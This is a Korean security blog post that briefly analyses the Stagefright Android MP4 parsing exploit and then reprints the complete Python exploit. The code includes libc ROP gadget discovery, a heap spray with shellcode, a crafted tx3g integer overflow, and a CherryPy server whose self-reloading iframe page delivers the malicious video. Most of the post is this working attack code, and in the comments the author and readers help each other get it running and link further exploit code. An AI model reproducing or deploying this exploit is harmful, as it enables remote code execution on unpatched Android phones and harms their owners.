StageFright Vulnerability

최근 안드로이드쪽에서 핫 이슈였던 StageFright 취약점에 대해 기억하시나요?
멀티미디어를 로드하는 스테이지프라이트 구간에 취약점으로 인해 미디어를 전송하는 MMS로
사용자의 핸드폰을 감염시킬 수 있는 취약점이였습니다. MMS 이외에도 미디어를 로드하는 구간에서 다수 발생할 수 있는 취약점이였었죠.. 나름 크게 이슈가 있던 취약점이라 따로 포스팅도 했었습니다. 보시면 대충 어떤 취약점이구나.. 라고 알 수 있습니다.

문자만 받아도 해킹, Stagefright(스테이지프라이트) - 안드로이드 MMS취약점(멀티미디어 로드) / 안드로이드 95% 취약 (http://www.www.hahwul.com/2015/08/stagefright-mms-95.html)

아무튼 이 취약점이 최근에 Google Security 팀으로부터 공격코드가 공개되었다고 하고 9/17일자로 Exploit-db에
EDB-ID 38226 으로 공격코드가 등록되었습니다.

Exploit-db Link : https://www.exploit-db.com/exploits/38226/

해당 Exploit code 에 대해 간단하게 분석해보도록 하겠습니다.



일단 code의 정상적인 실행을 위해서는 python package 설치가 필요합니다. (pwntools, cherrypy)
pip를 통해 설치해줍니다.

# pip install pwntools
# pip install cherrypy

실행과 동시에 Main 부분부터 천천히 살펴볼까합니다. 크게 4가지 동작부분으로 구분하여 볼 수 있습니다.

1. shellcode.bin 파일을 load 하여 tmp 변수 삽입(exploit code 에 추가하기 위한 사전 작업)


with open('shellcode.bin', 'rb') as tmp:
  shellcode = tmp.read()

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

2. exploit.mp4 파일을 write 권한으로 생성 / Exploit_Server(), Cherrypy를 통해 mp4 파일을 서버에 게시


def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.quickstart(ExploitServer())

3. exploit_mp4()에서 실제 공격코드를 통해 Exploit 이 담긴 mp4 생성


def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
  trak = ''
  trak += sample_table(heap_spray(spray_size) * spray_count)
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)
  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  overflow += '0' * 0x48
  overflow += '0000'                    # r4
  overflow += '0000'                    # r5
  overflow += '0000'                    # r6
  overflow += '0000'                    # r7
  overflow += '0000'                    # r8
  overflow += '0000'                    # r9
  overflow += '0000'                    # r10
  overflow += '0000'                    # r11
  overflow += '0000'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)
 ...snip...
힙스프레이를 위해 overflow 변수에 A로 채워나가고 스프레이 포인터주소를 넣고 0으로 채우는 등의 코드를 통해
악성파일을 생성합니다. 공격코드의 가장 핵심부분이 되겠죠. (아래 원문코드에서 주석보시면 편해요)

4. Cherrypy 를 통해[Exploit_Server class] 공격 mp4 파일을 임시 서버에 업로드


class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file
Cherrypy 모듈을 통해 Exploit_Server Class를 읽어와 video/mp4 의 content-type으로 제공합니다.
일반 웹서버 기능과 유사하지요, 저 부분을 제외하고 생성된 mp4 파일을 가지고 바로 웹 서버에 올리거나,
MMS를 통해 전송하여 공격에 시도할 수 있겠네요.

더 원리적인 분석을 하고싶으나.. 시간이 많이 없네요...
공격코드 전문은 Exploit-db 공식 홈페이지 및 아래 코드로 확인할 수 있습니다.

공격코드 전문(Attack Code full ver. - exploit-db#38226)

StageFright Exploit Code - [Python]

# cat stagefright.py
#!/usr/bin/python2

import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct


with open('shellcode.bin', 'rb') as tmp:
  shellcode = tmp.read()

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10

# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000

# addresses that we need to predict
libc_base = 0xb6ebd000
spray_address = 0xb3000000

# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address

def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address
  
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

def find_rop_gadgets(path):
  global memcpy
  global mmap64
  global stack_pivot
  global pop_pc
  global pop_r0_r1_r2_r3_pc
  global pop_r4_r5_r6_r7_pc
  global ldr_lr_bx_lr
  global ldr_lr_bx_lr_stack_pad

  e = elf.ELF(path)
  e.address = libc_base

  memcpy = e.symbols['memcpy']
  print '[*] memcpy : 0x{:08x}'.format(memcpy)
  mmap64 = e.symbols['mmap64']
  print '[*] mmap64 : 0x{:08x}'.format(mmap64)

  # .text:00013344    ADD             R2, R0, #0x4C
  # .text:00013348    LDMIA           R2, {R4-LR}
  # .text:0001334C    TEQ             SP, #0
  # .text:00013350    TEQNE           LR, #0
  # .text:00013354    BEQ             botch_0
  # .text:00013358    MOV             R0, R1
  # .text:0001335C    TEQ             R0, #0
  # .text:00013360    MOVEQ           R0, #1
  # .text:00013364    BX              LR

  pivot_asm = ''
  pivot_asm += 'add   r2, r0, #0x4c\n'
  pivot_asm += 'ldmia r2, {r4 - lr}\n'
  pivot_asm += 'teq   sp, #0\n'
  pivot_asm += 'teqne lr, #0'
  stack_pivot = find_arm_gadget(e, pivot_asm)
  print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

  pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)

  pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

  ldr_lr_bx_lr_stack_pad = 0
  for i in range(0, 0x100, 4):
    ldr_lr_bx_lr_asm =  'ldr lr, [sp, #0x{:08x}]\n'.format(i)
    ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
    ldr_lr_bx_lr_asm += 'bx  lr'
    ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
    if ldr_lr_bx_lr is not None:
      ldr_lr_bx_lr_stack_pad = i
      break
  
def pad(size):
  return '#' * size

def pb32(val):
  return struct.pack(">I", val)

def pb64(val):
  return struct.pack(">Q", val)

def p32(val):
  return struct.pack("<I", val)

def p64(val):
  return struct.pack("<Q", val)

def chunk(tag, data, length=0):
  if length == 0:
    length = len(data) + 8
  if length > 0xffffffff:
    return pb32(1) + tag + pb64(length)+ data
  return pb32(length) + tag + data

def alloc_avcc(size):
  avcc = 'A' * size
  return chunk('avcC', avcc)

def alloc_hvcc(size):
  hvcc = 'H' * size
  return chunk('hvcC', hvcc)

def sample_table(data):
  stbl = ''
  stbl += chunk('stco', '\x00' * 8)
  stbl += chunk('stsc', '\x00' * 8)
  stbl += chunk('stsz', '\x00' * 12)
  stbl += chunk('stts', '\x00' * 8)
  stbl += data
  return chunk('stbl', stbl)

def memory_leak(size):
  pssh = 'leak'
  pssh += 'L' * 16
  pssh += pb32(size)
  pssh += 'L' * size
  return chunk('pssh', pssh)

def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)

  page = ''

  nop = asm.asm('nop', arch='thumb')
  while len(page) < 0x100:
    page += nop
  page += shellcode
  while len(page) < 0xed0:
    page += '\xcc'

  # MPEG4DataSource fake vtable
  page += p32(stack_pivot)

  # pivot swaps stack then returns to pop {pc}
  page += p32(pop_r0_r1_r2_r3_pc)

  # mmap64(mmap_address,
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);

  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc

  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc

  # memcpy(shellcode_address,
  #        spray_address + len(rop_stack),
  #        len(shellcode));

  page += p32(mmap_address)             # r0 = dst
  page += p32(spray_address - 0xed0)    # r1 = src
  page += p32(0xed0)                    # r2 = size
  page += p32(0x33333333)               # r3
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(memcpy)                   # pc

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap_address + 1)         # pc

  while len(page) < 0x1000:
    page += '#'

  pssh += page * (size // 0x1000)

  return chunk('pssh', pssh)

def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))

  trak = ''

  # heap spray so we have somewhere to land our corrupted vtable
  # pointer

  # yes, we wrap this in a sample_table for a reason; the
  # NuCachedSource we will be using otherwise triggers calls to mmap,
  # leaving our large allocations non-contiguous and making our chance
  # of failure pretty high. wrapping in a sample_table means that we
  # wrap the NuCachedSource with an MPEG4Source, making a single
  # allocation that caches all the data, doubling our heap spray
  # effectiveness :-)
  trak += sample_table(heap_spray(spray_size) * spray_count)

  # heap groom for our MPEG4DataSource corruption

  # get the default size allocations for our MetaData::typed_data
  # groom allocations out of the way first, by allocating small blocks
  # instead.
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)

  # we allocate the initial tx3g chunk here; we'll use the integer
  # overflow so that the allocated buffer later is smaller than the
  # original size of this chunk, then overflow all of the following
  # MPEG4DataSource object and the following pssh allocation; hence why
  # we will need the extra groom allocation (so we don't overwrite
  # anything sensitive...)

  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  overflow += '0' * 0x48
  overflow += '0000'                    # r4
  overflow += '0000'                    # r5
  overflow += '0000'                    # r6
  overflow += '0000'                    # r7
  overflow += '0000'                    # r8
  overflow += '0000'                    # r9
  overflow += '0000'                    # r10
  overflow += '0000'                    # r11
  overflow += '0000'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)

  # defragment the for alloc_size blocks, then make our two
  # allocations. we end up with a spurious block in the middle, from
  # the temporary ABuffer deallocation.

  # | pssh | - | pssh |
  trak += memory_leak(alloc_size) * groom_count

  # | pssh | - | pssh | .... | avcC |
  trak += alloc_avcc(alloc_size)

  # | pssh | - | pssh | .... | avcC | hvcC |
  trak += alloc_hvcc(alloc_size)

  # | pssh | - | pssh | pssh | avcC | hvcC | pssh |
  trak += memory_leak(alloc_size) * 8

  # | pssh | - | pssh | pssh | avcC | .... |
  trak += alloc_hvcc(alloc_size * 2)

  # entering the stbl chunk triggers allocation of an MPEG4DataSource
  # object

  # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
  stbl = ''

  # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
  stbl += alloc_avcc(alloc_size * 2)

  # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
  # | pssh | - | pssh | pssh | tx3g ----------------> |
  overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
  stbl += chunk("tx3g", '', length = overflow_length)

  trak += chunk('stbl', stbl)

  return ftyp + chunk('trak', trak)

index_page = '''
<!DOCTYPE html>
<html>
  <head>
    <title>Stagefrightened!</title>
  </head>
  <body>
    <script>
    window.setTimeout('location.reload(true);', 4000);
    </script>
    <iframe src='/exploit.mp4'></iframe>
  </body>
</html>
'''

class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file

def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.quickstart(ExploitServer())

if __name__ == '__main__':
  main()

댓글 12개:

  1. 올려주시는 글들 정말 잘 보고 있습니다.
    지금 올려주신 이 게시물을 보고 분석하면서 튜토리얼을 진행하여보았는데
    역시나 시연이 없어서.. 너무 힘드네요.
    벌써 10댓시간째 삽질중인 듯 싶습니다.

    소스 실행하면 shellcode.bin 을 찾을수 없다고 나와버리는데,
    소스를 보니까 shellcode를 오픈하게끔 되어있는거같네요.
    어떻게 해야 할까요?

    답글삭제
  2. shell.bin 파일을 읽어오지 못해서 예외처리로 넘어간듯하네요.
    동일 디렉토리 내 shell code를 담은 shell.bin 파일을 넣어주시면 됩니다.

    코드보시면


    with open('shellcode.bin', 'rb') as tmp:
    shellcode = tmp.read()

    while len(shellcode) % 4 != 0:
    shellcode += '\x00'

    부분이 있는데, open으로 shellcode.bin 파일을 열고 그 내용을 tmp에 저장 후 tmp의 값을 읽어 shellcode 변수에 값을 넣어줍니다.
    실행 시 shellcode.bin이 없다고 나오는건, 해당 파일이 없어 발생하는것으로 보이는데, 혹시 해결안되는 부분이 있다면 댓글 남겨주세요.
    제가 했던 내용에 추가로 더 알아보고 답변드리겠습니다.

    그리고 영상으로는 조만간.. 추가해볼게요.(바빠서 시간내기가 힘드네요 ㅜㅜ)

    아 참 짐페리엄이 추가로 공격코드를 공유했는데, 이부분도 참고하시면 좋을듯하네요.
    https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/
    https://raw.githubusercontent.com/jduck/cve-2015-1538-1/master/Stagefright_CVE-2015-1538-1_Exploit.py

    감사합니다. : )

    답글삭제
  3. binutils 관련 에러 해결법
    #> apt-get install binutils binutils-arm*

    답글삭제
  4. File "stagefright.py", line 102, in find_rop_gadgets
    print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
    ValueError: Unknown format code 'x' for object of type 'str'

    에러 임시 처리법
    + stagefright.py 내 102번줄 주석 처리(에러 발생부분 > print 구문)

    답글삭제
  5. # EDB에 관련 자료가 올라와서 공유.
    https://www.exploit-db.com/docs/39527.pdf

    답글삭제
  6. 미드 Mr.Robot 을 보다가 stagefright 얘기가 나와서 오래간만에 관련 구글링하는데~!!!!!
    noon님(ㅋㅋㅋ) 블로그가 최상단에!!!
    i just wanna say hi ^^
    조만간 연락하고 놀러갈께요~ ㅎㅎㅎㅎㅎㅎㅎㅎ

    답글삭제
    답글
    1. noon 오랜만에 듣네요ㅋㅋ 치킨 고고

      삭제
  7. 작성자가 댓글을 삭제했습니다.

    답글삭제
  8. 작성자가 댓글을 삭제했습니다.

    답글삭제
  9. 하울님 좋은 자료 정말 감사드립니다.!
    보안 처음 시작할때 많이 배웠어여! ^^

    답글삭제
    답글
    1. 도움되셨다니 기분이 좋네요 ㅎㅎ 혹시나 부족하거나 더 추가됬으면 하는 내용이 있다면 댓글 달아주세요.
      감사합니당 :)

      삭제